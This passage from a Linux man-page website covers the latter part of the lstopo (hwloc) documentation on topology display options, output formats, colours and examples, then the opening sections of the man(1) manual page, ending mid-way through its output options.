Never factorize identical objects in the graphical output.

If an object type is given, only factorizing of these objects is disabled. This only applies to normal CPU-side objects, it is independent from PCI collapsing.

–factorize –factorize=[<type>,]<N>[,<L>[,<F>]
Factorize identical children in the graphical output (enabled by default).

If <N> is specified (4 by default), factorizing only occurs when there are strictly more than N identical children. If <L> and <F> are specified, they set the numbers of first and last children to keep after factorizing.

If an object type is given, only factorizing of these objects is configured. This only applies to normal CPU-side object, it is independent from PCI collapsing.

–no-collapse
Do not collapse identical PCI devices. By default, identical sibling PCI devices (such as many virtual functions inside a single physical device) are collapsed.

–no-cpukinds
Do not show different kinds of CPUs in the graphical output. By default, when supported, different types of lines, thickness and bold font may be used to display PU boxes of different kinds.

–restrict <cpuset>
Restrict the topology to the given cpuset. This removes some PUs and their now-child-less parents.

Beware that restricting the PUs in a topology may change the logical indexes of many objects, including NUMA nodes.

–restrict nodeset=<nodeset>
Restrict the topology to the given nodeset. (unless –restrict-flags specifies something different). This removes some NUMA nodes and their now-child-less parents.

Beware that restricting the NUMA nodes in a topology may change the logical indexes of many objects, including PUs.

–restrict binding
Restrict the topology to the current process binding. This option requires the use of the actual current machine topology (or any other topology with –thissystem or with HWLOC_THISSYSTEM set to 1 in the environment).

Beware that restricting the topology may change the logical indexes of many objects, including PUs and NUMA nodes.

–restrict-flags <flags>
Enforce flags when restricting the topology. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_restrict(). Those names may be substrings of actual flag names as long as a single one matches, for instance bynodeset,memless. The default is 0 (or none).

–no-io
Do not show any I/O device or bridge. This is identical to –filter io:none. By default, common devices (GPUs, NICs, block devices, …) and interesting bridges/switches are shown.

–no-bridges
Do not show any I/O bridge except hostbridges. This is identical to –filter bridge:none. By default, common devices (GPUs, NICs, block devices, …) and interesting bridges/switches are shown.

–whole-io
Show all I/O devices and bridges. This is identical to –filter io:all. By default, only common devices (GPUs, NICs, block devices, …) and interesting bridges/switches are shown.

–thissystem
Assume that the selected backend provides the topology for the system on which we are running. This is useful when loading a custom topology such as an XML file and using –restrict binding or –allow all.

–pid <pid>
Detect topology as seen by process <pid>, i.e. as if process <pid> did the discovery itself. Note that this can for instance change the set of allowed processors. Also show this process current CPU and Memory binding by marking the corresponding PUs and NUMA nodes (in Green in the graphical output, see the COLORS section below, or by appending (binding) to the verbose text output). If 0 is given as pid, the current binding for the lstopo process will be shown.

–ps –top
Show existing processes as misc objects in the output. To avoid uselessly cluttering the output, only processes that are restricted to some part of the machine are shown. On Linux, kernel threads are not shown. If many processes appear, the output may become hard to read anyway, making the hwloc-ps program more practical.

See –misc-from for a customizable variant using hwloc-ps.

–misc-from <file>
Add Misc objects as described in <file> containing entries such as:

name=myMisc1 cpuset=0x5

name=myMisc2 cpuset=0x7 subtype=myOptionalSubtype

This is useful for combining with hwloc-ps –lstopo-misc (see EXAMPLES below) because hwloc-ps is far more customizable than lstopo’s –top option.

–children-order <order>
Change the order of the different kinds of children with respect to their parent in the graphical output. <order> may be a comma-separated list of keywords among:

memory:above displays memory children above other children (and above the parent if it is a cache). PUs are therefore below their local NUMA nodes, like hwloc 1.x did.

io:right and misc:right place I/O or Misc children on the right of CPU children.

io:below and misc:below place I/O or Misc children below CPU children.

plain places everything not specified together with normal CPU children.

If only plain is specified, lstopo displays the topology in a basic manner that strictly matches the actual tree: Memory, I/O and Misc children are listed below their parent just like any other child. PUs are therefore on the side of their local NUMA nodes, below a common ancestor. This output may result in strange layouts since the size of Memory, CPU and I/O children may be very different, causing the placement algorithm to poorly arrange them in rows.

The default order is memory:above,io:right,misc:right which means Memory children are above CPU children while I/O and Misc are together on the right.

Up to hwloc 2.5, the default was rather to memory:above,plain.

Additionally, memory:above, io:right, io:below, misc:right and misc:below may be suffixed with :horiz, :vert or :rect to force the horizontal, vertical or rectangular layout of children inside these sections.

See also the GRAPHICAL OUTPUT and LAYOUT sections below.

–fontsize <size>
Set the size of text font in the graphical output.

The default is 10.

Boxes are scaled according to the text size. The LSTOPO_TEXT_XSCALE environment variable may be used to further scale the width of boxes (its default value is 1.0).

The –fontsize option is ignored in the ASCII backend.

–gridsize <size>
Set the margin between elements in the graphical output.

The default is 7. It was 10 prior to hwloc 2.1.

This option is ignored in the ASCII backend.

–linespacing <size>
Set the spacing between lines of text in the graphical output.

The default is 4.

The option was included in –gridsize prior to hwloc 2.1 (and its default was 10).

This option is ignored in the ASCII backend.

–thickness <size>
Set the thickness of lines and boxes in the graphical output.

The default is 1.

This option is ignored in the ASCII backend.

–horiz, –horiz=<type1,…>
Force a horizontal graphical layout instead of nearly 4/3 ratio in the graphical output. If a comma-separated list of object types is given, the layout only applies to the corresponding container objects. Ignored for bridges since their children are always vertically aligned.

–vert, –vert=<type1,…>
Force a vertical graphical layout instead of nearly 4/3 ratio in the graphical output. If a comma-separated list of object types is given, the layout only applies to the corresponding container objects.

–rect, –rect=<type1,…>
Force a rectangular graphical layout with nearly 4/3 ratio in the graphical output. If a comma-separated list of object types is given, the layout only applies to the corresponding container objects. Ignored for bridges since their children are always vertically aligned.

–no-text, –no-text=<type1,…>
Do not display any text in boxes in the graphical output. If a comma-separated list of object types is given, text is disabled for the corresponding objects. This is mostly useful for removing text from Group objects.

–text, –text=<type1,…>
Display text in boxes in the graphical output (default). If a comma-separated list of object types is given, text is reenabled for the corresponding objects (if it was previously disabled with –no-text).

–no-index, –no-index=<type1,…>
Do not show object indexes in the graphical output. If a comma-separated list of object types is given, indexes are disabled for the corresponding objects.

–index, –index=<type1,…>
Show object indexes in the graphical output (default). If a comma-separated list of object types is given, indexes are reenabled for the corresponding objects (if they were previously disabled with –no-index).

–no-attrs, –no-attrs=<type1,…>
Do not show object attributes (such as memory size, cache size, PCI bus ID, PCI link speed, etc.) in the graphical output. If a comma-separated list of object types is given, attributes are disabled for the corresponding objects.

–attrs, –attrs=<type1,…>
Show object attributes (such as memory size, cache size, PCI bus ID, PCI link speed, etc.) in the graphical output (default). If a comma-separated list of object types is given, attributes are reenabled for the corresponding objects (if they were previously disabled with –no-attrs).

–no-legend
Remove all text legend lines at the bottom of the graphical output.

–no-default-legend
Remove default text legend lines at the bottom of the graphical output. User-added legend lines with –append-legend or the “lstopoLegend” info are still displayed if any.

–append-legend <line>
Append the line of text to the bottom of the legend in the graphical output. If adding multiple lines, each line should be given separately by passing this option multiple times. Additional legend lines may also be specified inside the topology using the “lstopoLegend” info attributes on the topology root object.

–grey, –greyscale
Use greyscale instead of colors in the graphical output.

–palette <grey|greyscale|defaut|colors|white|none>
Change the color palette. Passing grey or greyscale is identical to passing –grey or –greyscale. Passing white or none uses white instead of colors for all box backgrounds. Passing default or colors reverts back to the default color palette.

–palette type=#rrggbb
Replace the color of the given box type with the given 3x8bit hexadecimal RGB combination (e.g. #ff0000 is red). Existing types are machine, group, package, group_in_package, die, core, pu, numanode, memories (box containing multiple memory children), cache, pcidev, osdev, bridge, and misc.

See also CUSTOM COLOR below for customizing individual objects.

–binding-color <none|#rrggbb>
Do not colorize PUs and NUMA nodes according to the binding in the graphical output. Or change the color to the given 3x8bit hexadecimal RGB combination (e.g. #ff0000 is red).

–disallowed-color <none|#rrggbb>
Do not colorize disallowed PUs and NUMA nodes in the graphical output. Or change the color to the given 3x8bit hexadecimal RGB combination (e.g. #00ff00 is green).

–top-color <none|#rrggbb>
Do not colorize task objects in the graphical output when –top is given. Or change the color to the given 3x8bit hexadecimal RGB combination (e.g. #0000ff is blue). This is actually applied to Misc objects of subtype Process or Thread.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

lstopo and lstopo-no-graphics are capable of displaying a topological map of the system in a variety of different output formats. The only difference between lstopo and lstopo-no-graphics is that graphical outputs are only supported by lstopo, to reduce dependencies on external libraries. hwloc-ls is identical to lstopo-no-graphics.

The filename specified directly implies the output format that will be used; see the OUTPUT FORMATS section, below. Output formats that support color will indicate specific characteristics about individual CPUs by their color; see the COLORS section, below.

OUTPUT FORMATS

By default, if no output filename is specified, the output is sent to a graphical window if possible in the current environment (DISPLAY environment variable set on Unix, etc.). Otherwise, a text summary is displayed in the console. The console is also used when the program runs from a terminal and the output is redirected to a pipe or file. These default behaviors may be changed by passing –of console to force console mode or –of window for graphical window.

The filename on the command line usually determines the format of the output. There are a few filenames that indicate specific output formats and devices (e.g., a filename of “-” will output a text summary to stdout), but most filenames indicate the desired output format by their suffix (e.g., “topo.png” will output a PNG-format file).

The format of the output may also be changed with “–of”. For instance, “–of pdf” will generate a PDF-format file on the standard output, while “–of fig toto” will output a Xfig-format file named “toto”.

The list of currently supported formats is given below. Any of them may be used with “–of” or as a filename suffix.

default
Send the output to a window or to the console depending on the environment.

window
Send the output to a graphical window.

console
Send a text summary to stdout. Binding or unallowed processors are only annotated in this mode if verbose; see the COLORS section, below.

ascii
Output an ASCII art representation of the map (formerly called txt). If outputting to stdout and if colors are supported on the terminal, the output will be colorized.

tikz or tex
Output a LaTeX tikzpicture representation of the map that can be compiled with a LaTeX compiler.

fig
Output a representation of the map that can be loaded in Xfig.

svg
Output a SVG representation of the map, using Cairo (by default, if supported) or a native SVG backend (fallback, always supported). See cairosvg and nativesvg below.

cairosvg or svg(cairo)
If lstopo was compiled with the proper support, output a SVG representation of the map using Cairo.

nativesvg or svg(native)
Output a SVG representation of the map using the native SVG backend. It may be less pretty than the Cairo output, but it is always supported, and SVG objects have attributes for identifying and manipulating them. See dynamic_SVG_example.html for an example.

pdf
If lstopo was compiled with the proper support, lstopo outputs a PDF representation of the map.

ps
If lstopo was compiled with the proper support, lstopo outputs a Postscript representation of the map.

png
If lstopo was compiled with the proper support, lstopo outputs a PNG representation of the map.

synthetic
If the topology is symmetric (which requires that the root object has its symmetric_subtree field set), lstopo outputs a synthetic description string. This output may be reused as an input synthetic topology description later. See also the Synthetic topologies section in the documentation. Note that Misc and I/O devices are ignored during this export.

xml
lstopo outputs an XML representation of the map. It may be reused later, even on another machine, with lstopo –input, the HWLOC_XMLFILE environment variable, or the hwloc_topology_set_xml() function.

The following special names may be used:

-
Send a text summary to stdout.

/dev/stdout
Send a text summary to stdout. It is effectively the same as specifying “-”.

-.<format>
If the entire filename is “-.<format>”, lstopo behaves as if “–of <format> -” was given, which means a file of the given format is sent to the standard output.

See the output of “lstopo –help” for a specific list of what graphical output formats are supported in your hwloc installation.

GRAPHICAL OUTPUT

The graphical output is made of nested boxes representing the inclusion of objects in the hierarchy of resources. Usually a Machine box contains one or several Package boxes, that contain multiple Core boxes, with one or several PUs each.

Caches

Caches are displayed in a slightly different manner because they do not actually include computing resources such as cores. For instance, a L2 Cache shared by a pair of Cores is drawn as a Cache box on top of two Core boxes (instead of having Core boxes inside the Cache box).

NUMA nodes and Memory-side Caches

By default, NUMA nodes boxes are drawn on top of their local computing resources. For instance, a processor Package containing one NUMA node and four Cores is displayed as a Package box containing the NUMA node box above four Core boxes. If a NUMA node is local to the L3 Cache, the NUMA node is displayed above that Cache box. All this specific drawing strategy for memory objects may be disabled by passing command-line option –children-order plain.

If multiple NUMA nodes are attached to the same parent object, they are displayed inside an additional unnamed memory box.

If some Memory-side Caches exist in front of some NUMA nodes, they are drawn as boxes immediately above them.

PCI bridges, PCI devices and OS devices

The PCI hierarchy is not drawn as a set of included boxes but rather as a tree of bridges (that may actually be switches) with links between them. The tree starts with a small square on the left for the hostbridge or root complex. It ends with PCI device boxes on the right. Intermediate PCI bridges/switches may appear as additional small squares in the middle.

PCI devices on the right of the tree are boxes containing their PCI bus ID (such as 00:02.3). They may also contain sub-boxes for OS device objects such as a network interface eth0 or a CUDA GPU cuda0.

When there is a single link (horizontal line) on the right of a PCI bridge, it means that a single device or bridge is connected on the secondary PCI bus behind that bridge. When there is a vertical line, it means that multiple devices and/or bridges are connected to the same secondary PCI bus.

The datarate of a PCI link may be written (in GB/s) right below its drawn line (if the operating system and/or libraries are able to report that information). This datarate is the currently configured speed of the entire PCI link (sum of the bandwidth of all PCI lanes in that link). It may change during execution since some devices are able to slow their PCI links down when idle.

LAYOUT

In its graphical output, lstopo uses simple rectangular heuristics to try to achieve a 4/3 ratio between width and height. Although the hierarchy of resources is properly reflected, the exact physical organization (NUMA distances, rings, complete graphs, etc.) is currently ignored.

The layout of a level may be changed with –vert, –horiz, and –rect to force a parent object to arrange its children in vertical, horizontal or rectangular manners respectively.

The position of Memory, I/O and Misc children with respect to other children objects may be changed using –children-order. This effectivement divides children into multiple sections. The layout of children is first computed inside each section, before sections are placed inside (or below) the parent box.

The vertical/horizontal/rectangular layout of these additional sections may also be configured through –children-order.

COLORS

Individual CPUs and NUMA nodes are colored in the graphical output formats to indicate different characteristics:

Green
The topology is reported as seen by a specific process (see –pid), and the given CPU or NUMA node is in this process CPU or Memory binding mask.

White
The CPU or NUMA node is in the allowed set (see below). If the topology is reported as seen by a specific process (see –pid), the object is also not in this process binding mask.

Red
The CPU or NUMA node is not in the allowed set (see below).

The “allowed set” is the set of CPUs or NUMA nodes to which the current process is allowed to bind. The allowed set is usually either inherited from the parent process or set by administrative qpolicies on the system. Linux cpusets are one example of limiting the allowed set for a process and its children to be less than the full set of CPUs or NUMA nodes on the system.

Different processes may therefore have different CPUs or NUMA nodes in the allowed set. Hence, invoking lstopo in different contexts and/or as different users may display different colors for the same individual CPUs (e.g., running lstopo in one context may show a specific CPU as red, but running lstopo in a different context may show the same CPU as white).

Some lstopo output modes, e.g. the console mode (default non-graphical output), do not support colors at all. The console mode displays the above characteristics by appending text to each PU line if verbose messages are enabled.

CUSTOM COLORS

The colors of different kinds of boxes may be configured with –palette.

The color of each object in the graphical output may also be enforced by specifying a “lstopoStyle” info attribute in that object. Its value should be a semi-colon separated list of “<attribute>=#rrggbb” where rr, gg and bb are the RGB components of a color, each between 0 and 255, in hexadecimal (00 to ff). <attribute> may be

Background
Sets the background color of the main object box.

Text
Sets the color of the text showing the object name, type, index, etc.

Text2
Sets the color of the additional text near the object, for instance the link speed behind a PCI bridge.

The “lstopoStyle” info may be added to a temporarily-saved XML topologies with hwloc-annotate, or with hwloc_obj_add_info(). For instance, to display all core objects in blue (with white names):

lstopo save.xml hwloc-annotate save.xml save.xml core:all info lstopoStyle “Background=#0000ff;Text=#ffffff” lstopo -i save.xml

EXAMPLES

To display the machine topology in textual mode:

lstopo-no-graphics

To display the machine topology in ascii-art mode:

lstopo-no-graphics -.ascii

To display in graphical mode (assuming that the DISPLAY environment variable is set to a relevant value):

lstopo

To export the topology to a PNG file:

lstopo file.png

To export an XML file on a machine and later display the corresponding graphical output on another machine:

machine1$ lstopo file.xml <transfer file.xml from machine1 to machine2> machine2$ lstopo –input file.xml

To save the current machine topology to XML and later reload it faster while still considering it as the current machine:

$ lstopo file.xml <…> $ lstopo –input file.xml –thissystem

To restrict an XML topology to only physical processors 0, 1, 4 and 5:

lstopo –input file.xml –restrict 0x33 newfile.xml

To restrict an XML topology to only numa node whose logical index is 1:

lstopo –input file.xml –restrict $(hwloc-calc –input file.xml node:1) newfile.xml

To display a summary of the topology:

lstopo -s

To get more details about the topology:

lstopo -v

To only show cores:

lstopo –only core

To show cpusets:

lstopo –cpuset

To only show the cpusets of package:

lstopo –only package –cpuset-only

Simulate a fake hierarchy; this example shows with 2 NUMA nodes of 2 processor units:

lstopo –input “node:2 2”

To count the number of logical processors in the system

lstopo –only pu | wc -l

To append the kernel release and version to the graphical legend:

lstopo –append-legend “Kernel release: $(uname -r)” –append-legend “Kernel version: $(uname -v)”

To show where a process and its children are bound by combining with hwloc-ps:

hwloc-ps –pid-children 23 –lstopo-misc - | lstopo –misc-from -

NOTES

lstopo displays memory and cache sizes with units such as kB (1 kilobyte = 1000 bytes) or GB (1 gigabyte = 1000*1000*1000 bytes) while it actually means KiB (1 kibibyte = 1024 bytes) or GiB (1 gibibytes = 1024*1024*1024 bytes) .

SEE ALSO

hwloc(7), hwloc-info(1), hwloc-bind(1), hwloc-annotate(1), hwloc-ps(1), hwloc-gather-topology(1), hwloc-gather-cpuid(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

879 - Linux cli command man

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command man and provides detailed information about the command man, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the man.

NAME 🖥️ man 🖥️

an interface to the system reference manuals

SYNOPSIS

man [ man options ] [ [ section ] page  . . . ] . . .
man -k [ apropos options ] regexp . . .
man -K [ man options ] [ section ] term . . .
man -f [ whatis options ] page . . .
man -l [ man options ] file . . .
man -w | -W [ man options ] page . . .

DESCRIPTION

man is the system’s manual pager. Each page argument given to man is normally the name of a program, utility or function. The manual page associated with each of these arguments is then found and displayed. A section, if provided, will direct man to look only in that section of the manual. The default action is to search in all of the available sections following a pre-defined order (see DEFAULTS), and to show only the first page found, even if page exists in several sections.

The table below shows the section numbers of the manual followed by the types of pages they contain.

1Executable programs or shell commands
2System calls (functions provided by the kernel)
3Library calls (functions within program libraries)
4Special files (usually found in /dev)
5File formats and conventions, e.g. /etc/passwd
6Games
7Miscellaneous (including macro packages and conventions), e.g. man(7), groff(7), man-pages(7)
8System administration commands (usually only for root)
9Kernel routines [ Non standard ]

A manual page consists of several sections.

Conventional section names include NAME, SYNOPSIS, CONFIGURATION, DESCRIPTION, OPTIONS, EXIT STATUS, RETURN VALUE, ERRORS, ENVIRONMENT, FILES, VERSIONS, STANDARDS, NOTES, BUGS, EXAMPLE, AUTHORS, and SEE ALSO.

The following conventions apply to the SYNOPSIS section and can be used as a guide in other sections.

bold texttype exactly as shown.
italic textreplace with appropriate argument.
[ -abc ]any or all arguments within [ ] are optional.
-a | -boptions delimited by | cannot be used together.
argument . . .argument is repeatable.
[ expression ] . . .entire expression within [ ] is repeatable.

Exact rendering may vary depending on the output device. For instance, man will usually not be able to render italics when running in a terminal, and will typically use underlined or coloured text instead.

The command or function illustration is a pattern that should match all possible invocations. In some cases it is advisable to illustrate several exclusive invocations as is shown in the SYNOPSIS section of this manual page.

EXAMPLES

man* ls*
Display the manual page for the item (program) ls.

man man.7
Display the manual page for macro package man from section 7. (This is an alternative spelling of “man 7 man”.)

**man ‘**man(7)’
Display the manual page for macro package man from section 7. (This is another alternative spelling of “man 7 man”. It may be more convenient when copying and pasting cross-references to manual pages. Note that the parentheses must normally be quoted to protect them from the shell.)

man -a* intro*
Display, in succession, all of the available intro manual pages contained within the manual. It is possible to quit between successive displays or skip any of them.

man -t bash | lpr -Pps
Format the manual page for bash into the default troff or groff format and pipe it to the printer named ps. The default output for groff is usually PostScript. man –help should advise as to which processor is bound to the -t option.

man -l -Tdvi ./foo.1x.gz** > **./foo.1x.dvi
This command will decompress and format the nroff source manual page ./foo.1x.gz into a device independent (dvi) file. The redirection is necessary as the -T flag causes output to be directed to stdout with no pager. The output could be viewed with a program such as xdvi or further processed into PostScript using a program such as dvips.

man -k* printf*
Search the short descriptions and manual page names for the keyword printf as regular expression. Print out any matches. Equivalent to apropos* printf***.**

man -f* smail*
Lookup the manual pages referenced by smail and print out the short descriptions of any found. Equivalent to whatis* smail***.**

OVERVIEW

Many options are available to man in order to give as much flexibility as possible to the user. Changes can be made to the search path, section order, output processor, and other behaviours and operations detailed below.

If set, various environment variables are interrogated to determine the operation of man. It is possible to set the “catch-all” variable $MANOPT to any string in command line format, with the exception that any spaces used as part of an option’s argument must be escaped (preceded by a backslash). man will parse $MANOPT prior to parsing its own command line. Those options requiring an argument will be overridden by the same options found on the command line. To reset all of the options set in $MANOPT, -D can be specified as the initial command line option. This will allow man to “forget” about the options specified in $MANOPT, although they must still have been valid.

Manual pages are normally stored in nroff(1) format under a directory such as /usr/share/man. In some installations, there may also be preformatted cat pages to improve performance. See manpath(5) for details of where these files are stored.

This package supports manual pages in multiple languages, controlled by your locale. If your system did not set this up for you automatically, then you may need to set $LC_MESSAGES, $LANG, or another system-dependent environment variable to indicate your preferred locale, usually specified in the POSIX format:

<language>[ _<territory> [ .<character-set> [ ,<version> ] ] ]

If the desired page is available in your locale, it will be displayed in lieu of the standard (usually American English) page.

If you find that the translations supplied with this package are not available in your native language and you would like to supply them, please contact the maintainer who will be coordinating such activity.

Individual manual pages are normally written and maintained by the maintainers of the program, function, or other topic that they document, and are not included with this package. If you find that a manual page is missing or inadequate, please report that to the maintainers of the package in question.

For information regarding other features and extensions available with this manual pager, please read the documents supplied with the package.

DEFAULTS

The order of sections to search may be overridden by the environment variable $MANSECT or by the SECTION directive in /etc/manpath.config. By default it is as follows:

1 n l 8 3 0 2 3type 3posix 3pm 3perl 3am 5 4 9 6 7

The formatted manual page is displayed using a pager. This can be specified in a number of ways, or else will fall back to a default (see option -P for details).

The filters are deciphered by a number of means. Firstly, the command line option -p or the environment variable $MANROFFSEQ is interrogated. If -p was not used and the environment variable was not set, the initial line of the nroff file is parsed for a preprocessor string. To contain a valid preprocessor string, the first line must resemble

*’* <string>

where string can be any combination of letters described by option -p below.

If none of the above methods provide any filter information, a default set is used.

A formatting pipeline is formed from the filters and the primary formatter (nroff or [tg]roff with -t) and executed. Alternatively, if an executable program mandb_nfmt (or mandb_tfmt with -t) exists in the man tree root, it is executed instead. It gets passed the manual source file, the preprocessor string, and optionally the device specified with -T or -E as arguments.

OPTIONS

Non-argument options that are duplicated either on the command line, in $MANOPT, or both, are not harmful. For options that require an argument, each duplication will override the previous argument value.

General options

**-C file, **–config-file=****file
Use this user configuration file rather than the default of ~/.manpath.

-d, –debug
Print debugging information.

-D, –default
This option is normally issued as the very first option and resets man’s behaviour to its default. Its use is to reset those options that may have been set in $MANOPT. Any options that follow -D will have their usual effect.

–warnings[=warnings]
Enable warnings from groff. This may be used to perform sanity checks on the source text of manual pages. warnings is a comma-separated list of warning names; if it is not supplied, the default is “mac”. To disable a groff warning, prefix it with “!”: for example, –warnings=mac,!break enables warnings in the “mac” category and disables warnings in the “break” category. See the “Warnings” node in info groff for a list of available warning names.

Main modes of operation

-f, –whatis
Approximately equivalent to whatis. Display a short description from the manual page, if available. See whatis(1) for details.

-k, –apropos
Approximately equivalent to apropos. Search the short manual page descriptions for keywords and display any matches. See apropos(1) for details.

-K, –global-apropos
Search for text in all manual pages. This is a brute-force search, and is likely to take some time; if you can, you should specify a section to reduce the number of pages that need to be searched. Search terms may be simple strings (the default), or regular expressions if the –regex option is used.

Note that this searches the sources of the manual pages, not the rendered text, and so may include false positives due to things like comments in source files, or false negatives due to things like hyphens being written as “" in source files. Searching the rendered text would be much slower.

-l, –local-file
Activate “local” mode. Format and display local manual files instead of searching through the system’s manual collection. Each manual page argument will be interpreted as an nroff source file in the correct format. No cat file is produced. If ‘-’ is listed as one of the arguments, input will be taken from stdin.

If this option is not used, then man will also fall back to interpreting manual page arguments as local file names if the argument contains a “/” character, since that is a good indication that the argument refers to a path on the file system.

-w, –where, –path, –location
Don’t actually display the manual page, but do print the location of the source nroff file that would be formatted. If the -a option is also used, then print the locations of all source files that match the search criteria.

-W, –where-cat, –location-cat
Don’t actually display the manual page, but do print the location of the preformatted cat file that would be displayed. If the -a option is also used, then print the locations of all preformatted cat files that match the search criteria.

If -w and -W are both used, then print both source file and cat file separated by a space. If all of -w, -W, and -a are used, then do this for each possible match.

-c, –catman
This option is not for general use and should only be used by the catman program.

**-R ***encoding, *–recode=encoding
Instead of formatting the manual page in the usual way, output its source converted to the specified encoding. If you already know the encoding of the source file, you can also use manconv(1) directly. However, this option allows you to convert several manual pages to a single encoding without having to explicitly state the encoding of each, provided that they were already installed in a structure similar to a manual page hierarchy.

Consider using man-recode(1) instead for converting multiple manual pages, since it has an interface designed for bulk conversion and so can be much faster.

Finding manual pages

**-L locale, **–locale=****locale
man will normally determine your current locale by a call to the C function setlocale(3) which interrogates various environment variables, possibly including $LC_MESSAGES and $LANG. To temporarily override the determined value, use this option to supply a locale string directly to man. Note that it will not take effect until the search for pages actually begins. Output such as the help message will always be displayed in the initially determined locale.

-m system [ ,. . . ] , **–systems=**system [ ,. . . ]
If this system has access to other operating systems’ manual pages, they can be accessed using this option. To search for a manual page from NewOS’s manual page collection, use the option -m NewOS.

The system specified can be a combination of comma delimited operating system names. To include a search of the native operating system’s manual pages, include the system name man in the argument string. This option will override the $SYSTEM environment variable.

**-M path, **–manpath=****path
Specify an alternate manpath to use. By default, man uses manpath derived code to determine the path to search. This option overrides the $MANPATH environment variable and causes option -m to be ignored.

A path specified as a manpath must be the root of a manual page hierarchy structured into sections as described in the man-db manual (under “The manual page system”). To view manual pages outside such hierarchies, see the -l option.

-S list, -s list, **–sections=**list
The given list is a colon- or comma-separated list of sections, used to determine which manual sections to search and in what order. This option overrides the $MANSECT environment variable. (The -s spelling is for compatibility with System V.)

**-e sub-extension, **–extension=****sub-extension
Some systems incorporate large packages of manual pages, such as those that accompany the Tcl package, into the main manual page hierarchy. To get around the problem of having two manual pages with the same name such as exit(3), the Tcl pages were usually all assigned to section l. As this is unfortunate, it is now possible to put the pages in the correct section, and to assign a specific “extension” to them, in this case, exit(3tcl). Under normal operation, man will display exit(3) in preference to exit(3tcl). To negotiate this situation and to avoid having to know which section the page you require resides in, it is now possible to give man a sub-extension string indicating which package the page must belong to. Using the above example, supplying the option -e tcl to man will restrict the search to pages having an extension of *tcl.

-i, –ignore-case
Ignore case when searching for manual pages. This is the default.

-I, –match-case
Search for manual pages case-sensitively.

–regex
Show all pages with any part of either their names or their descriptions matching each page argument as a regular expression, as with apropos(1). Since there is usually no reasonable way to pick a “best” page when searching for a regular expression, this option implies -a.

–wildcard
Show all pages with any part of either their names or their descriptions matching each page argument using shell-style wildcards, as with apropos(1) –wildcard. The page argument must match the entire name or description, or match on word boundaries in the description. Since there is usually no reasonable way to pick a “best” page when searching for a wildcard, this option implies -a.

–names-only
If the –regex or –wildcard option is used, match only page names, not page descriptions, as with whatis(1). Otherwise, no effect.

-a, –all
By default, man will exit after displaying the most suitable manual page it finds. Using this option forces man to display all the manual pages with names that match the search criteria.

-u, –update
This option causes man to update its database caches of installed manual pages. This is only needed in rare situations, and it is normally better to run mandb(8) instead.

–no-subpages
By default, man will try to interpret pairs of manual page names given on the command line as equivalent to a single manual page name containing a hyphen or an underscore. This supports the common pattern of programs that implement a number of subcommands, allowing them to provide manual pages for each that can be accessed using similar syntax as would be used to invoke the subcommands themselves. For example:

  $ man -aw git diff
  /usr/share/man/man1/git-diff.1.gz

To disable this behaviour, use the –no-subpages option.

  $ man -aw --no-subpages git diff
  /usr/share/man/man1/git.1.gz
  /usr/share/man/man3/Git.3pm.gz
  /usr/share/man/man1/diff.1.gz

Controlling formatted output

**-P pager, **–pager=****pager
Specify which output pager to use. By default, man uses pager, falling back to cat if pager is not found or is not executable. This option overrides the $MANPAGER environment variable, which in turn overrides the $PAGER environment variable. It is not used in conjunction with -f or -k.

The value may be a simple command name or a command with arguments, and may use shell quoting (backslashes, single quotes, or double quotes). It may not use pipes to connect multiple commands; if you need that, use a wrapper script, which may take the file to display either as an argument or on standard input.

**-r prompt, **–prompt=****prompt
If a recent version of less is used as the pager, man will attempt to set its prompt and some sensible options. The default prompt looks like

** Manual page*** name***(sec) line*** x*

where name denotes the manual page name, sec denotes the section it was found under and x the current line number. This is achieved by using the $LESS environment variable.

Supplying -r with a string will override this default. The string may contain the text $MAN_PN which will be expanded to the name of the current manual page and its section name surrounded by “(” and “)”. The string used to produce the default could be expressed as

\ Manual\ page\ \MAN_PN\ ?ltline\ %lt?L/%L.:
byte\ %bB?s/%s..?\ (END):?pB\ %pB%..
(press h for help or q to quit)

It is broken into three lines here for the sake of readability only. For its meaning see the less(1) manual page. The prompt string is first evaluated by the shell. All double quotes, back-quotes and backslashes in the prompt must be escaped by a preceding backslash. The prompt string may end in an escaped $ which may be followed by further options for less. By default man sets the -ix8 options.

The $MANLESS environment variable described below may be used to set a default prompt string if none is supplied on the command line.

-7, –ascii
When viewing a pure ascii(7) manual page on a 7 bit terminal or terminal emulator, some characters may not display correctly when using the latin1(7) device description with GNU nroff. This option allows pure ascii manual pages to be displayed in ascii with the latin1 device. It will not translate any latin1 text. The following table shows the translations performed: some parts of it may only be displayed properly when using GNU nroff’s latin1(7) device.

DescriptionOctallatin1ascii
continuation hyphen255-
bullet (middle dot)267·o
acute accent264´'
multiplication sign327×x

If the latin1 column displays correctly, your terminal may be set up for latin1 characters and this option is not necessary. If the latin1 and ascii columns are identical, you are reading this page using this option or man did not format this page using the latin1 device description. If the latin1 column is missing or corrupt, you may need to view manual pages with this option.

This option is ignored when using options -t, -H, -T, or -Z and may be useless for nroff other than GNU’s.

**-E ***encoding, *–encoding=encoding
Generate output for a character encoding other than the default. For backward compatibility, encoding may be an nroff device such as ascii, latin1, or utf8 as well as a true character encoding such as UTF-8.

–no-hyphenation, –nh
